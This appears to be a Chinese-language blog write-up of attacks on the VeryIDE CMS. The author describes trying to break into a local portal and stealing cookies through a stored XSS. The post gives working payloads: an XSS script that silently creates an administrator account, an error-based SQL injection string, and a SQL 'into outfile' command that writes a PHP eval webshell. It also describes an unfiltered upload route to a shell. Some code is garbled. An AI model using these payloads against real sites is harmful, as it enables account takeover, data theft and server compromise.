1.存储型跨站:
当时我在尝试渗透我们这的的地方门户,发现bbs有个调查问卷,我便随便插了个跨站代码,结果收到了cookie。
[php]
[/php]
指定表单地址插入
[php]
function ajax(){
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
return request;
}
var _x = ajax();
postgo();
function postgo() {
src="admin.edit.php"; data="name=0day5&password=0day50day5&confirm=0day5&email=veryide%40veryide.com&state=1&gid=1&avatar=%2Fveryide%2Fimage%2Fface.jpg&birthday=&gender=0&qq=&phone=&blog=&extra%5Bsina%5D=&extra%5Btenc%5D=&extra%5Buid%5D=&extra%5Busername%5D=&Submit=&action=add&jump=";
//username=0day5
//password=0day50day5
//gid=1 这个是权限
xhr_act("POST",src,data);
}
function xhr_act(_m,_s,_a){
_x.open(_m,_s,false);
if(_m=="POST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
_x.send(_a);
return _x.responseText;
}[/php]
2.表单POST注入
[php]qqq',(select (1) from information_schema.tables where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (select version())),1,62)))a from information_schema.tables group by a)b)),0,1370615079,1)#[/php]
3.getshell部分:veryide在后台提供了一个更新的模块,可以执行sql语句:
当我们的mysql权限较大时,可以直接导出shell:
[php]Select ' php eval($_POST[cmd]);?>' into outfile 'x:/yourpath/1.php';[/php]
,本机测试成功,当然实际测试的时候有的当前的mysql权限较小不成功。在第三点提到的,当我们获得数据库信息时,如果目标开启了数据库外联,也有可能拿到wenshell。
通过[php]http://0day5.com/module/system/system.server.php?action=phpinfo[/php]可以得知当前的phpinfo
5.漏网之鱼。veryide的后台其他安全做的不错,上传过滤的不错,可是却在生成表单时出了问题,当表单里有上传动能时,那就要恭喜你,没有过滤,you can getshell
可是怎么获得shell路径了?那就要感谢后台贴心的安全功能模块了,扫描webshell即可,--
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论